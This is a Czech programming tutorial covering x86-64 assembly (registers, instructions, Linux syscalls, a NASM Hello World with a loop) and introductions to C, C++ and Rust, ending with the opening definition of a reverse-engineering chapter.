Každý registr může být přistupován v různých velikostech. Tohle je historická záležitost z doby, kdy procesory byly 16bitové a pak 32bitové — novější, širší registry pohltily ty starší, úzké. Dnes se tedy nejedná o samostatné registry, ale o různé pohledy na jeden a ten samý fyzický registr.

Vezměme si třeba registr rax. Je 64bitový, tedy obsahuje 64 bitů (8 bajtů) dat. Když přistupujete přes jméno eax, pracujete jen se spodními 32 bity toho samého registru. Přes ax se dostanete ke spodním 16 bitům. A ještě níž — přes al pracujete s úplně nejspodnějším bajtem (bity 0 až 7), zatímco přes ah s bajtem nad ním (bity 8 až 15).

Představte si to jako matrjošku: rax obsahuje eax, eax obsahuje ax, a ax se skládá z ah (vyšší bajt) a al (nižší bajt).

Důsledek je, že když zapíšete mov al, 5, změní se jenom nejspodnější bajt — zbytek registru zůstane nedotčený. Jedna drobná výjimka: pokud zapisujete do 32bitové části (eax), procesor automaticky vynuluje horních 32 bitů rax. U 8bitových a 16bitových zápisů se to neděje. Tohle je typický zdroj bugů, na který si dejte pozor.

Základní instrukce

mov — přesun dat

Nejzákladnější instrukce. Zkopíruje hodnotu ze zdroje do cíle. V Intel syntaxi je to mov cíl, zdroj:

mov rax, 60          ; rax = 60 (okamžitá hodnota)
mov rbx, rax         ; rbx = rax (z registru do registru)
mov rcx, [rsi]       ; rcx = hodnota na adrese v rsi (čtení z paměti)
mov [rdi], rdx       ; do paměti na adrese rdi zapíše rdx (zápis)

Aritmetické instrukce

add rax, 5           ; rax = rax + 5
sub rbx, rcx         ; rbx = rbx - rcx
inc rax              ; rax = rax + 1 (rychlejší než add rax, 1)
dec rbx              ; rbx = rbx - 1
mul rcx              ; rax = rax * rcx (beznaménkové)
neg rax              ; rax = -rax

Logické a bitové operace

and rax, rbx         ; bitové AND
or  rax, rbx         ; bitové OR
xor rax, rax         ; rychlý způsob jak vynulovat rax!
shl rax, 3           ; posun doleva o 3 bity (= násobení 8)
shr rax, 1           ; posun doprava o 1 bit (= dělení 2)

Tip: xor rax, rax se používá místo mov rax, 0, protože je kratší ve strojovém kódu a procesory ji umí zpracovat ještě rychleji.

Porovnání a skoky

cmp rax, 10          ; porovná rax s 10 (nastaví flagy)
je  label            ; skoč na label, pokud rovno (jump if equal)
jne label            ; skoč, pokud nerovno
jl  label            ; skoč, pokud menší (jump if less)
jg  label            ; skoč, pokud větší
jmp label            ; bezpodmínečný skok

Zásobník (stack)

push rax             ; uloží rax na zásobník, rsp se zmenší o 8
pop  rbx             ; vyzvedne hodnotu do rbx, rsp se zvětší o 8
call funkce          ; zavolá funkci (uloží návratovou adresu)
ret                  ; návrat z funkce

Syscally (systémová volání)

Když chce program udělat něco "venku" — vypsat text, otevřít soubor, přečíst ze sítě — musí požádat jádro (kernel) operačního systému. To se dělá pomocí syscallu.

Na Linuxu x86_64 to funguje takto:

  1. Do rax dáte číslo syscallu
  2. Do rdi, rsi, rdx, r10, r8, r9 dáte argumenty (v tomto pořadí)
  3. Zavoláte instrukci syscall
  4. Výsledek najdete v rax

Nejdůležitější syscally

ČísloNázevPopisArgumenty
0readČtení z file descriptorufd, buffer, počet bajtů
1writeZápis do file descriptorufd, buffer, počet bajtů
2openOtevření souborucesta, flags, mode
3closeZavření file descriptorufd
60exitUkončení programunávratový kód

File descriptory

Standardní file descriptory, které máte vždy k dispozici:

  • 0stdin (standardní vstup, typicky klávesnice)
  • 1stdout (standardní výstup, typicky terminál)
  • 2stderr (chybový výstup)

Příklad: ukončení programu s kódem 0

mov rax, 60          ; číslo syscallu "exit"
mov rdi, 0           ; návratový kód 0
syscall              ; provedení syscallu

Příklad: zápis na obrazovku

mov rax, 1           ; syscall "write"
mov rdi, 1           ; fd = 1 (stdout)
mov rsi, zprava      ; adresa textu
mov rdx, 13          ; délka textu
syscall

Úplný seznam syscallů najdete například na filippo.io/linux-syscall-table nebo v man 2 syscalls.


V další kapitole si tyto znalosti spojíme a napíšeme první reálný program!

Jak napsat program v Assembly

V této kapitole si postupně napíšeme, zkompilujeme a spustíme náš první program v assembly — klasický Hello, World! — a následně ho rozšíříme o jednoduchou smyčku.

Co budeme potřebovat

Na Linuxu (apt): sudo apt install nasm binutils .

Na Arch Linuxu: sudo pacman -S nasm binutils.

Ověřte instalaci:

nasm --version
ld --version

Struktura programu

Každý NASM program pro Linux se skládá ze tří hlavních sekcí:

  • .data — inicializovaná data (řetězce, konstanty, čísla)
  • .bss — neinicializovaná data (buffery, proměnné bez počáteční hodnoty)
  • .text — samotný kód programu

A pak potřebujeme vstupní bod — symbol _start, který říká operačnímu systému, kde program začíná.

Hello, World! — krok za krokem

Krok 1: Vytvořme si datovou sekci

Začneme textem, který chceme vypsat:

section .data
    message: db "Hello, World!", 10
    message_len: equ $ - message

Co to znamená?

  • db = define bytes, definuje sérii bajtů
  • "Hello, World!" = samotný text
  • 10 = ASCII kód znaku nového řádku (\n)
  • equ $ - message = konstanta rovnající se aktuální adresa ($) mínus začátek message, tedy délka řetězce. NASM to spočítá při překladu.

Krok 2: Přidáme textovou sekci a vstupní bod

section .text
    global _start

_start:
  • global _start říká linkeru, že symbol _start je viditelný zvenčí
  • _start: je návěští (label) — místo, kam operační systém po spuštění skočí

Krok 3: Zavoláme write syscall

Chceme vypsat text na stdout (fd = 1):

    mov rax, 1              ; syscall číslo 1 = write
    mov rdi, 1              ; fd = 1 = stdout
    mov rsi, message        ; adresa textu
    mov rdx, message_len    ; délka textu
    syscall

Krok 4: Ukončíme program

Bez explicitního ukončení by program spadl. Zavoláme exit:

    mov rax, 60             ; syscall číslo 60 = exit
    mov rdi, 0              ; návratový kód = 0
    syscall

Kompletní program

Uložte si tento soubor jako hello.asm:

section .data
    message: db "Hello, World!", 10
    message_len: equ $ - message

section .text
    global _start

_start:
    ; write(1, message, message_len)
    mov rax, 1              ; syscall: write
    mov rdi, 1              ; fd: stdout
    mov rsi, message        ; buffer
    mov rdx, message_len    ; délka
    syscall

    ; exit(0)
    mov rax, 60             ; syscall: exit
    mov rdi, 0              ; status 0
    syscall

Krok 5: Kompilace a spuštění

Kompilace má dva kroky — nejdřív assembler vytvoří objektový soubor, pak linker z něj udělá spustitelný program:

nasm -f elf64 hello.asm -o hello.o
ld hello.o -o hello
./hello

Měli byste vidět:

Hello, World!

Gratulujeme, právě jste spustili svůj první program v assembly!

Co dělají ty příkazy?

  • nasm -f elf64 hello.asm -o hello.o
    • -f elf64 = výstupní formát ELF64 (standard na Linuxu 64-bit)
    • -o hello.o = jméno výstupního objektového souboru
  • ld hello.o -o hello
    • linker spojí objektový soubor do finálního spustitelného souboru
  • ./hello = spuštění

Rozšíření: Jednoduchá smyčka

Teď si program rozšíříme tak, aby vypsal Hello, World! pětkrát za sebou. Ukážeme si, jak se v assembly dělá smyčka.

Princip smyčky

V assembly smyčku obvykle uděláte takto:

  1. Do nějakého registru (typicky rcx) dáte počáteční hodnotu (třeba 5)
  2. Vytvoříte si návěští na začátek smyčky
  3. Na konci každé iterace registr snížíte a porovnáte s nulou
  4. Pokud není nula, skočíte zpátky na návěští

Kód se smyčkou

section .data
    message: db "Hello, World!", 10
    message_len: equ $ - message

section .text
    global _start

_start:
    mov rcx, 5              ; počítadlo = 5 (kolikrát vypsat)

loop_start:
    push rcx                ; uložíme rcx na stack (syscall ho může změnit)

    ; write(1, message, message_len)
    mov rax, 1
    mov rdi, 1
    mov rsi, message
    mov rdx, message_len
    syscall

    pop rcx                 ; obnovíme počítadlo
    dec rcx                 ; rcx = rcx - 1
    jnz loop_start          ; pokud rcx != 0, skoč zpátky

    ; exit(0)
    mov rax, 60
    mov rdi, 0
    syscall

Co je tu nového?

  • push rcx / pop rcx — syscall může modifikovat registry (zvláště rcx a r11), takže si počítadlo před syscallem uložíme na zásobník a po něm vyzvedneme. Tohle je důležité pravidlo!
  • dec rcx — sníží rcx o 1. Zároveň automaticky nastaví zero flag, pokud je výsledek 0.
  • jnz loop_startJump if Not Zero. Skočí na návěští, pokud zero flag není nastavený (tedy pokud rcx ještě není 0).

Sestavení a spuštění

nasm -f elf64 hello.asm -o hello.o
ld hello.o -o hello
./hello

Výstup:

Hello, World!
Hello, World!
Hello, World!
Hello, World!
Hello, World!

Shrnutí

V této kapitole jste se naučili:

  • Jak je strukturován assembly program (sekce .data, .text, symbol _start)
  • Jak použít write syscall pro výpis na obrazovku
  • Jak správně ukončit program pomocí exit
  • Jak zkompilovat a slinkovat program pomocí NASM a ld
  • Jak napsat jednoduchou smyčku s počítadlem a podmíněným skokem
  • Proč je důležité ukládat registry před syscallem

Co dál?

Pokud vás assembly zaujalo, můžete se dál podívat na:

  • Čtení vstupu od uživatele pomocí read syscallu
  • Aritmetiku s více registry a ukazateli
  • Volání funkcí a jak funguje zásobníkový rámec
  • Práci se soubory přes open, read, write, close
  • System V AMD64 ABI — konvence pro volání funkcí, zvláště když linkujete s C knihovnami

Pěkným dalším krokem je napsat si vlastní jednoduchou funkci strlen, která spočítá délku null-terminated řetězce.

Low level jazyky

V předchozích kapitolách jsme si ukázali, jak vypadá programování úplně na dně — přímo v assembly. Assembly je sice maximálně blízko hardwaru, ale psát v něm větší aplikace je nepraktické: kód je ukecaný, není přenositelný mezi architekturami a snadno se v něm udělá chyba.

Nízkoúrovňové jazyky (low-level languages) jsou kompromisem mezi rychlostí a kontrolou assembly a pohodlím vyšších jazyků. Kompilují se přímo do strojového kódu, umožňují přímou práci s pamětí a nepotřebují běhové prostředí jako JVM nebo Python interpreter. Zároveň ale dávají programátorovi lidsky čitelnou syntaxi a abstrakce, které mu šetří práci.

V této části knihy se podíváme na tři nejvýznamnější zástupce:

C

C je "matka všech jazyků". Vznikl v roce 1972 v Bell Labs a je dodnes páteří operačních systémů, embedded zařízení a knihoven, na kterých stojí prakticky celý ekosystém softwaru. Linuxové jádro, Git, Postgres, Python interpreter — všechno je napsané v C.

Je to minimalistický, procedurální jazyk s ruční správou paměti a přímočarým mapováním na hardware. Dává vám maximum kontroly, ale za cenu veškeré odpovědnosti — žádný garbage collector, žádná bounds-checking, žádné bezpečnostní sítě.

C++

C++ vznikl jako rozšíření C o objektově orientované programování a postupně se rozrostl do obřího multi-paradigmatického jazyka. Dnes se v něm píší herní enginy (Unreal Engine), prohlížeče (Chromium), databáze (MongoDB), high-frequency trading systémy a zatím i velké části Windows.

Přidává k C třídy, šablony (templates), výjimky, RAII pro automatickou správu zdrojů a obrovskou standardní knihovnu (STL). Cenou za tu mocnost je složitost — C++ je notoricky rozsáhlý jazyk, kterým si lze v plné šíři vylámat zuby.

Rust

Rust je moderní jazyk od Mozilly (první stabilní verze 2015), který se pokouší řešit desítky let staré bolístky C a C++ — zejména chyby paměti (use-after-free, buffer overflow, data races), které stojí za většinou bezpečnostních zranitelností v systémovém softwaru.

Klíčovou inovací je borrow checker — kompilátor už při překladu hlídá, kdo co vlastní a po jakou dobu. Pokud napíšete kód, který by mohl způsobit paměťovou chybu, program se zkrátka nezkompiluje. Výsledkem je bezpečnost bez garbage collectoru a bez runtime overheadu.

Rust dnes používají Microsoft, Amazon, Cloudflare, Discord a od 2022 se dokonce postupně dostává i do Linuxového jádra jako alternativa k C.


V dalších kapitolách se na každý z těchto jazyků podíváme podrobněji — jak je nainstalovat, jak zkompilovat Hello World a co je na nich specifického.

C

C je jeden z nejstarších stále používaných programovacích jazyků. Vznikl kolem roku 1972 v Bell Labs, kde ho Dennis Ritchie navrhl jako jazyk pro přepis operačního systému UNIX. Od té doby prošel několika revizemi (K&R C, ANSI C / C89, C99, C11, C17, C23), ale v jádru zůstává stejný: malý, rychlý, přímočarý jazyk, který vám dává plnou kontrolu nad pamětí a hardwarem.

C je dodnes páteří systémového softwaru. Linux kernel, Git, SQLite, PostgreSQL, Python interpreter, Redis, nginx — všechno je napsáno v C.

Instalace

Skoro každý operační systém už má C kompilátor k dispozici, nebo je triviální ho doinstalovat. Nejpoužívanější jsou GCC (gcc) a Clang (clang).

Linux

# Debian / Ubuntu
sudo apt install gcc

# Arch Linux
sudo pacman -S gcc

# Fedora
sudo dnf install gcc

macOS

xcode-select --install

Tím získáte clang, který na macOS funguje jako gcc.

Windows

Podobně jako u C++:

  • MSYS2 s GCC (msys2.org)
  • MinGW-w64
  • Visual Studio s kompilátorem MSVC (cl.exe)

Ověření

gcc --version

Hello, World!

Soubor hello.c:

#include <stdio.h>

int main(void) {
    printf("Hello, World!\n");
    return 0;
}

Kompilace a spuštění

gcc hello.c -o hello
./hello

Výstup:

Hello, World!

Co se v tom kódu děje?

  • #include <stdio.h> — zahrnutí hlavičkového souboru standardní I/O knihovny (obsahuje printf)
  • int main(void) — vstupní bod programu, void říká, že funkce nebere žádné argumenty
  • printf(...) — formátovaný výpis na standardní výstup
  • \n — escape sekvence pro nový řádek
  • return 0; — návratová hodnota programu (0 = vše v pořádku)

Užitečné kompilátorové přepínače

Pro seriózní vývoj se vyplatí přidat varování a standard:

gcc -Wall -Wextra -std=c17 hello.c -o hello
  • -Wall -Wextra — zapne většinu varování, které vám odhalí běžné chyby
  • -std=c17 — řekne kompilátoru, kterou verzi standardu C chcete
  • -g — přidá debug symboly (pro gdb)
  • -O2 — optimalizace pro release build

Základní datové typy

C je staticky typovaný jazyk — každá proměnná má typ, který musíte uvést při deklaraci. Typy v C jsou přímo navázané na hardware, takže jejich velikost v bajtech se může lišit podle platformy (ale jsou zaručené minimální velikosti).

Celá čísla

TypTypická velikostRozsah (typicky)
char1 B-128 až 127 (nebo 0 až 255)
short2 B-32 768 až 32 767
int4 Bcca -2,1 mld. až 2,1 mld.
long4 nebo 8 Bzávisí na platformě
long long8 Bcca ±9,2 × 10¹⁸

Každý z nich má i unsigned variantu (pouze nezáporná čísla, dvojnásobný kladný rozsah):

unsigned int pocet = 100;
signed char teplota = -15;

Pokud potřebujete přesně definované velikosti bez ohledu na platformu, používejte typy z <stdint.h>:

#include <stdint.h>

int8_t   a = -42;        // přesně 8 bitů se znaménkem
uint16_t b = 65000;      // přesně 16 bitů bez znaménka
int32_t  c = 1000000;    // přesně 32 bitů
uint64_t d = 1ULL << 40; // přesně 64 bitů

Desetinná čísla

TypVelikostPřesnost
float4 B~7 desetinných míst
double8 B~15 desetinných míst
long double10–16 Bvětší přesnost (závisí na HW)
float  pi_f = 3.14159f;   // suffix f = float literál
double pi_d = 3.141592653589793;

Znaky a řetězce

V C neexistuje samostatný typ pro řetězec. Řetězec je jen pole znaků (char) zakončené nulovým bajtem \0.

char znak = 'A';               // jeden znak (vlastně číslo 65)
char pozdrav[] = "Ahoj";       // pole 5 znaků: A, h, o, j, \0

Práce s řetězci se dělá přes funkce z <string.h>:

#include <string.h>

strlen(pozdrav);        // délka (nepočítá \0)
strcpy(cil, zdroj);     // kopírování (POZOR na přetečení!)
strcmp(a, b);           // porovnání

Logický typ

Historicky měl C jen celá čísla — 0 znamenalo false, cokoliv jiného true. Od standardu C99 existuje i _Bool, s hlavičkou <stdbool.h> pak můžete používat známější zápis:

#include <stdbool.h>

bool hotovo = true;
if (!hotovo) { /* ... */ }

void

Speciální "žádný typ". Používá se pro:

  • funkce, které nic nevracejí: void log(const char *msg);
  • generické ukazatele: void *data; (o tom za chvíli)

Proměnné, konstanty, operátory

int x = 10;              // deklarace + inicializace
const double PI = 3.14;  // konstanta, nelze měnit

x += 5;                  // x = x + 5
x++;                     // inkrementace (o 1)

int zbytek = 17 % 3;     // modulo = 2
int a = (x > 0) ? 1 : -1; // ternární operátor

Kontrolní struktury

if (x > 0) {
    printf("kladné\n");
} else if (x == 0) {
    printf("nula\n");
} else {
    printf("záporné\n");
}

for (int i = 0; i < 10; i++) { /* ... */ }

int i = 0;
while (i < 10) { i++; }

switch (x) {
    case 1:  puts("jedna"); break;
    case 2:  puts("dva");   break;
    default: puts("něco jiného");
}

Pole

Pole v C má pevnou velikost známou při překladu:

int cisla[5] = {10, 20, 30, 40, 50};
printf("%d\n", cisla[2]);   // 30

cisla[0] = 99;              // přepis prvního prvku

Pozor: C vám nehlídá přetečení pole. Zápis cisla[10] = 1; u pole o velikosti 5 se zkompiluje bez problémů a za běhu způsobí tiché poškození paměti nebo segfault. Tohle je jedna z hlavních kategorií bezpečnostních zranitelností v C kódu.

Pointery (ukazatele)

Pointer je proměnná, která neobsahuje hodnotu samotnou, ale adresu, kde je hodnota uložena v paměti. Pointery jsou asi nejvíc "vyhlášená" vlastnost C — umožňují přímou manipulaci s pamětí, ale jsou zároveň zdrojem většiny bugů v C programech.

Základy

int x = 42;
int *p = &x;     // p je pointer na int, ukazuje na adresu x

printf("%d\n", x);   // 42
printf("%d\n", *p);  // 42 — dereference pointeru, vezme hodnotu z adresy
printf("%p\n", (void*)p);  // adresa, kam p ukazuje (něco jako 0x7ffee...)

*p = 100;        // změní hodnotu na adrese, kam p ukazuje
printf("%d\n", x);  // 100 — x se změnilo, protože p na něj ukazoval

Dva klíčové operátory:

  • &xadresa proměnné x (address-of operator)
  • *phodnota na adrese, kterou drží p (dereference)

Čtení deklarace: int *p = "p je pointer na int". Hvězdička "patří" k proměnné, ne k typu — proto int *p, q; deklaruje jeden pointer a jeden obyčejný int.

Proč pointery existují?

Hlavní důvody, proč je v C vůbec potřebujete:

1. Předávání velkých dat do funkcí. Bez pointerů se parametr kopíruje. Pointer umožňuje funkci pracovat přímo s originálem:

void zdvojnasob(int *n) {
    *n = *n * 2;
}

int x = 5;
zdvojnasob(&x);    // předáme adresu x
printf("%d\n", x); // 10

2. Dynamická alokace paměti. Kolik paměti bude potřeba, nemusíte vědět při překladu — alokujete ji za běhu:

#include <stdlib.h>

int *pole = malloc(100 * sizeof(int));  // prostor pro 100 intů
if (pole == NULL) { /* ošetření chyby */ }

pole[0] = 42;
// ...
free(pole);   // NUTNO explicitně uvolnit!

malloc vrací pointer na začátek přidělené paměti (nebo NULL při neúspěchu). Po skončení práce musíte paměť uvolnit přes free, jinak vzniká memory leak.

3. Pole a pointery spolu úzce souvisí. Jméno pole se při většině použití chová jako pointer na jeho první prvek:

int cisla[5] = {1, 2, 3, 4, 5};
int *p = cisla;       // totéž jako &cisla[0]

printf("%d\n", p[2]);  // 3
printf("%d\n", *(p + 2)); // 3 — pointerová aritmetika

4. Řetězce. Protože řetězec je pole znaků, pracujeme s ním přes pointer:

const char *jmeno = "Pavel";  // pointer na první znak

Nebezpečí pointerů

Pointery jsou mocné, ale snadno se s nimi udělá chyba. Nejčastější průšvihy:

  • Dereference NULL pointeru — pád programu (segfault)
  • Dangling pointer — pointer ukazuje na paměť, která už byla uvolněna
  • Buffer overflow — zápis za konec pole
  • Memory leak — alokovaná paměť se nikdy neuvolní
  • Double free — uvolnění stejné paměti dvakrát

Moderní nástroje jako Valgrind, AddressSanitizer (gcc -fsanitize=address) nebo statické analyzátory vám tyhle chyby pomohou najít.

int *p = NULL;
*p = 10;    //  segfault

int *q = malloc(sizeof(int));
free(q);
*q = 5;     //  use-after-free
free(q);    //  double free

void * — univerzální pointer

Pointer na cokoliv. Nejde přímo dereferencovat (kompilátor neví, kolik bajtů číst), ale hodí se pro generické funkce jako malloc nebo memcpy:

void *buf = malloc(1024);
int *as_ints = (int *)buf;  // přetypování na konkrétní typ

Struktury

Vlastní složený typ, který seskupuje několik hodnot pod jeden název:

struct Bod {
    double x;
    double y;
};

struct Bod b = {3.0, 4.0};
printf("%f %f\n", b.x, b.y);

struct Bod *p = &b;
printf("%f\n", p->x);   // p->x je zkratka za (*p).x

S typedef si ušetříte psaní struct:

typedef struct {
    double x;
    double y;
} Bod;

Bod b = {1.0, 2.0};

Funkce a hlavičkové soubory

Když projekt roste, rozdělujete ho do více souborů. Rozhraní (deklarace) se dává do hlavičkového souboru .h, implementace do .c:

math_utils.h:

#ifndef MATH_UTILS_H
#define MATH_UTILS_H

int soucet(int a, int b);

#endif

math_utils.c:

#include "math_utils.h"

int soucet(int a, int b) {
    return a + b;
}

main.c:

#include <stdio.h>
#include "math_utils.h"

int main(void) {
    printf("%d\n", soucet(3, 4));
    return 0;
}

Kompilace obou souborů najednou:

gcc main.c math_utils.c -o program

Ty #ifndef ... #define ... #endif na začátku hlavičkového souboru jsou include guard — chrání před tím, aby se obsah hlavičky vložil dvakrát, pokud ji zahrne více souborů.

Správa paměti: stack vs heap

C rozlišuje dva hlavní způsoby, kde je paměť:

  • Stack (zásobník) — lokální proměnné funkcí. Alokace je bleskurychlá, paměť se automaticky uvolní na konci funkce. Omezená velikost (typicky pár MB).
  • Heap (halda) — paměť alokovaná ručně přes malloc/calloc/realloc. Velikost omezená jen množstvím RAM, ale musíte ji ručně uvolnit přes free.
void funkce(void) {
    int x = 10;                  // stack — automatické
    int *p = malloc(sizeof(int)); // heap — musíte free()
    *p = 20;

    free(p);
    // x se uklidí samo po návratu
}

Shrnutí

C je malý jazyk — standardní knihovna je přehledná, syntaxe se vejde na pár stránek. Naučit se základy trvá dny, ne roky. Obtížnost C je jinde: každý řádek kódu nese odpovědnost za to, co dělá s pamětí, a kompilátor vám pomáhá jen omezeně.

Přesto (nebo právě proto) stojí za to se C naučit. Dá vám:

  • Hluboké pochopení toho, jak počítač pracuje — pointery, paměť, layout struktur
  • Schopnost číst systémový kód — jádra, ovladače, knihovny
  • Přenositelnost — C kompilátor existuje pro úplně každou platformu
  • Respekt k abstrakcím vyšších jazyků — když jste si sami ručně spravovali paměť, oceníte garbage collector

Pokud chcete jít hlouběji, klasická reference je "The C Programming Language" od Kernighana a Ritchieho (tzv. "K&R"). Z modernějších knih doporučuju "Modern C" od Jense Gustedta.

C++

C++ je rozšířením jazyka C o objektově orientované programování, šablony, výjimky a mnoho dalšího. Dnes se řadí mezi nejmocnější (a zároveň nejsložitější) programovací jazyky — dá se v něm psát od firmwaru pro mikrokontroléry až po operační systémy a herní enginy.

Instalace

Na každé platformě máte na výběr z několika kompilátorů. Nejčastěji se používá GCC (g++) nebo Clang (clang++).

Linux

Na většině distribucí je GCC už nainstalováno, případně dostupné v balíčkovacím systému:

# Debian / Ubuntu
sudo apt install g++

# Arch Linux
sudo pacman -S gcc

# Fedora
sudo dnf install gcc-c++

macOS

Stačí nainstalovat Command Line Tools od Applu (obsahují Clang):

xcode-select --install

Windows

Máte několik možností:

  • MSYS2 — přineste si UNIX-like toolchain včetně g++ (msys2.org)
  • MinGW-w64 — port GCC pro Windows
  • Visual Studio — oficiální IDE od Microsoftu s kompilátorem MSVC

Ověření instalace

g++ --version

Hello, World!

Uložte si do souboru hello.cpp:

#include <iostream>

int main() {
    std::cout << "Hello, World!" << std::endl;
    return 0;
}

Kompilace a spuštění

g++ hello.cpp -o hello
./hello

Výstup:

Hello, World!

Co se v tom kódu děje?

  • #include <iostream> — zpřístupní standardní I/O knihovnu (objekty cout, cin...)
  • int main() — vstupní bod programu. Musí vracet int.
  • std::cout — standardní výstupní proud (standard character out)
  • << — tzv. stream insertion operator, předává hodnotu do streamu
  • std::endl — nový řádek + flush bufferu
  • return 0; — program skončil úspěšně (nenulová hodnota by signalizovala chybu)

Rozdíly oproti C

I když C++ z C vychází a většina C kódu se v C++ zkompiluje, obě jazyky se v mnohém liší. Tady jsou hlavní rozdíly:

Objektově orientované programování

C je čistě procedurální. C++ přidává třídy, dědičnost, polymorfismus a další OOP koncepty:

class Animal {
public:
    virtual void speak() { std::cout << "..." << std::endl; }
};

class Dog : public Animal {
public:
    void speak() override { std::cout << "Haf!" << std::endl; }
};

Šablony (templates)

C++ umí generické programování pomocí šablon — v C byste museli používat makra nebo void *:

template <typename T>
T max(T a, T b) {
    return (a > b) ? a : b;
}

max(3, 5);       // int verze
max(1.5, 2.7);   // double verze

Standardní knihovna (STL)

C má minimalistickou standardní knihovnu. C++ má obří STL s kontejnery (vector, map, set...), algoritmy (sort, find...), streamy a další:

#include <vector>
#include <algorithm>

std::vector<int> numbers = {3, 1, 4, 1, 5, 9, 2, 6};
std::sort(numbers.begin(), numbers.end());

Reference

Kromě ukazatelů má C++ i reference — alternativní jméno pro již existující proměnnou, bezpečnější a čitelnější:

int x = 10;
int& ref = x;    // reference na x
ref = 20;        // nyní x == 20

RAII a automatická správa zdrojů

C++ přináší koncept RAII (Resource Acquisition Is Initialization) — zdroje (paměť, soubory, zámky) se automaticky uvolňují, když objekt zmizí ze scope. Třídy jako std::string, std::vector nebo std::unique_ptr tak v praxi eliminují potřebu ručního free:

{
    std::vector<int> data(1000);
    // ...
}  // zde se paměť automaticky uvolní

Výjimky

C používá návratové kódy pro chyby. C++ přidává výjimky (throw / try / catch):

try {
    throw std::runtime_error("něco se pokazilo");
} catch (const std::exception& e) {
    std::cerr << e.what() << std::endl;
}

Přetěžování funkcí a operátorů

V C nesmí dvě funkce mít stejné jméno. V C++ ano, pokud se liší parametry:

int add(int a, int b) { return a + b; }
double add(double a, double b) { return a + b; }

Jmenné prostory

C++ zavádí namespace jako ochranu před kolizemi názvů — proto std::cout, ne jen cout. V C tyhle problémy řešíte prefixy (str_copy, list_append…).

Stručné shrnutí rozdílů

C je malý, jednoduchý a přímočarý — naučíte se ho za pár dní, ale musíte si všechno dělat sami. C++ je nepřeberně velký — naučit se ho pořádně trvá roky, ale za odměnu dostanete nejvyšší míru abstrakcí bez obětování výkonu.

Pokud začínáte, doporučuje se psát v moderním C++ (C++17, C++20, C++23) — vyhněte se starým vzorům z 90. let jako ručnímu new/delete, C-style cast a raw pointerům všude.

Rust

Rust je moderní systémový programovací jazyk, který kombinuje výkon C/C++ s bezpečností paměti — a to vše bez garbage collectoru. Kompilátor (rustc) před překladem zkontroluje, že kód nedělá nic nebezpečného s pamětí, a pokud ano, prostě se nezkompiluje.

Instalace

Rust se nejjednodušeji instaluje pomocí nástroje rustup, který spravuje verze kompilátoru a toolchainů.

Linux / macOS

Jeden příkaz, který nainstaluje všechno potřebné:

curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh

Po instalaci je potřeba buď otevřít nový terminál, nebo načíst proměnné prostředí:

source $HOME/.cargo/env

Windows

Stáhněte si instalátor rustup-init.exe z rustup.rs a spusťte. Alternativně přes winget:

winget install Rustlang.Rustup

Ověření instalace

rustc --version
cargo --version

Měli byste vidět něco jako rustc 1.XX.X a cargo 1.XX.X.

Cargo — co to je a jak funguje

Cargo je oficiální build systém a package manager Rustu. Prakticky vše kolem Rust projektů se řeší přes něj:

  • vytváření nových projektů
  • kompilace a spouštění
  • správa závislostí (balíčků z crates.io)
  • testování, benchmarky, dokumentace

Zatímco v C a C++ si musíte buildovací systém (Make, CMake, Meson…) vybrat a nastavit sami, v Rustu je Cargo standardem a funguje hned od začátku.

Základní příkazy

cargo new projekt      # vytvoří novou složku s projektem
cargo build            # zkompiluje projekt (debug)
cargo build --release  # optimalizovaný release build
cargo run              # zkompiluje A spustí
cargo test             # spustí testy
cargo check            # rychlá kontrola bez generování binárky
cargo add nazev        # přidá závislost do projektu

Struktura projektu

Když spustíte cargo new hello, Cargo vytvoří:

hello/
├── Cargo.toml      # manifest projektu (metadata, závislosti)
├── .gitignore      # předpřipraveno pro Git
└── src/
    └── main.rs     # vstupní bod programu

Soubor Cargo.toml vypadá takto:

[package]
name = "hello"
version = "0.1.0"
edition = "2021"

[dependencies]

Závislosti se přidávají buď ručně do [dependencies], nebo pohodlněji pomocí cargo add:

cargo add serde

Hello, World!

Varianta 1: Přes Cargo (doporučený způsob)

cargo new hello
cd hello
cargo run

A je to! Cargo vám rovnou vygeneroval Hello World, zkompiloval ho a spustil:

   Compiling hello v0.1.0 (/path/to/hello)
    Finished dev [unoptimized + debuginfo] target(s) in 0.42s
     Running `target/debug/hello`
Hello, world!

Obsah vygenerovaného src/main.rs:

fn main() {
    println!("Hello, world!");
}

Varianta 2: Bez Carga, ručně přes rustc

Pro jednorázové skripty se hodí vědět, že Rust zvládne i kompilaci jednoho souboru:

echo 'fn main() { println!("Hello, World!"); }' > hello.rs
rustc hello.rs
./hello

V reálných projektech ale vždycky používejte Cargo — jakmile budete chtít přidat knihovnu nebo napsat test, oceníte to.

Co se v tom kódu děje?

fn main() {
    println!("Hello, world!");
}
  • fn main() — vstupní bod programu, stejně jako main v C/C++
  • println!makro (poznáte podle vykřičníku), vypíše text na stdout a přidá nový řádek
  • Žádné return 0; není potřeba — pokud funkce nic nevrací, implicitně vrací () (jednotkový typ)

Co dělá Rust jiný

Bez zacházení do hloubky — hlavní nápady, které Rust přináší:

  • Ownership & borrowing — každá hodnota má právě jednoho vlastníka. Když vlastník zmizí, paměť se uvolní. Pokud chcete hodnotu "půjčit", používáte reference s jasnými pravidly.
  • Borrow checker — kompilátor při překladu kontroluje, že nedojde k use-after-free, data race ani dangling pointeru. Pokud ano, program se nezkompiluje.
  • Žádné null — místo toho typ Option<T>, který vás nutí explicitně ošetřit případ "žádná hodnota".
  • Žádné výjimky — chyby se vracejí přes typ Result<T, E>, takže je z kódu jasně vidět, co může selhat.
  • Paměťová bezpečnost bez GC — vše výše uvedené běží bez runtime overheadu. Výsledné binárky jsou stejně rychlé jako C/C++.
  • Moderní toolingcargo, formátter rustfmt, linter clippy, skvělé error messages od kompilátoru.

Rust má pověst jazyka se strmou křivkou učení — zejména borrow checker může zpočátku frustrovat. Ale jakmile si zvyknete, získáte nástroj, ve kterém jde psát systémový kód s mnohem větším klidem, než jaký vám dá C nebo C++.

Pokud se chcete naučit Rust pořádně, doporučuje se oficiální kniha The Rust Programming Language (zdarma) a interaktivní cvičení Rustlings.

Reverse Engineering

Co je reverse engineering?

Reverse engineering (zpětné inženýrství) je proces analýzy již existujícího programu s cílem porozumět jeho vnitřnímu fungování. V praxi často pracujeme se zkompilovanými binárními soubory bez dostupného zdrojového kódu; pokud je však zdrojový kód k dispozici, lze jej při analýze využít.

V rámci analýzy se snažíme odhalit například:

  • funkce programu a jejich chování
  • konstanty a statické hodnoty
  • strukturu a obsah datových segmentů
  • případné ladicí (debug) informace

